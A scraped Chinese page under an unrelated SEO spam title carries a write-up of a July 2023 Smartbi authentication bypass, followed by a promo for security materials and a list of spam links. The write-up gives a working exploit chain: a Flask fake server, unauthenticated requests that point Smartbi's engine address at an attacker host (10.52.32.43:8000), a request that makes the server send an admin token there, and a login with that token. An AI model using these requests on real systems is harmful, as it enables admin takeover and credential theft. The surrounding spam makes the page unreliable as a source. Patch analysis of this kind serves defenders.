当前位置: 首页 > news >正文

外包公司做网站图片哪里整的电子商业网站建设步骤

外包公司做网站图片哪里整的,电子商业网站建设步骤,做微网站是订阅号还是服务号号,ps做游戏下载网站有哪些内容2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析,得到如下漏洞复现步骤 第一步,设置Engi…

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():print(request.json)return jsonify(hi="jello")if __name__ == "__main__":app.run(host="0.0.0.0",port=8000)

image.png
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23http://10.52.32.43:8000

image.png

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10experiment

image.png
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
image.png

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image.png

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
image.png
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
image.png
分析smartbix.datamining.service.MonitorService类
从头部的注解可知,该类下的所有路由都不需要认证即可访问
image.png
定位到getToken方法
该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
image.png
image.png
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法
可知该方法可以未授权配置ENGINE_ADDRESS
image.png
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。
(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)
获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
image.png

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似

http://www.yayakq.cn/news/595499/

相关文章:

  • 网站建设公司价格差别怎么使用微信公众号
  • 微软雅黑做网站茶叶推广软文
  • 上海专业高端网站建设服务器市场调研报告ppt模板
  • 西安未央区网站建设dw2019网页制作教程
  • 网站建设消费调查问卷推广普通话写好规范字手抄报
  • 洛阳最好的做网站的公司网络营销的渠道是什么
  • wordpress超强主题夫唯seo
  • 福建省分行建设银行网站网站后台 竖着 导航菜单
  • iis5.1发布网站网站托管套餐
  • 甜品网站设计论文网思科技股份有限公司
  • 丽江北京网站建设网站建设推广有没有
  • 建设网站需要什么硬件网站开发与设计前景
  • 建网站软件 优帮云网络推广专员岗位要求
  • 漳州微网站建设哪家好电商平台搭建方案
  • 济南网站seo技术wordpress太慢
  • 合肥网站建设政务区网站建设推广怎样找客户
  • 如何给客户做网站方案网站内容建设规划
  • 温州网站推广优化遵义县公司网站建设
  • 外卖网站建设方案书南昌污水厂最新数据
  • c 网站开发 简单例子wordpress图片链接
  • 印发网站建设方案seo做得比较好的企业案例
  • 嘉祥县网站建设哪个程序做下载网站好
  • 企业网站怎么做跟淘宝链接六安建设网站
  • 北京专业网站制作价格成都广告设计公司排行
  • 商城平台是什么网站的排名优化怎么做
  • 好的外贸网站特点百度一下你就知道了官网
  • flash是怎么做网站的做网站哪一家公司好
  • 新媒体运营的相关优势湖南seo网站策划
  • 网站建设的课件网站建设方案书
  • 网站的所有权泉州百度seo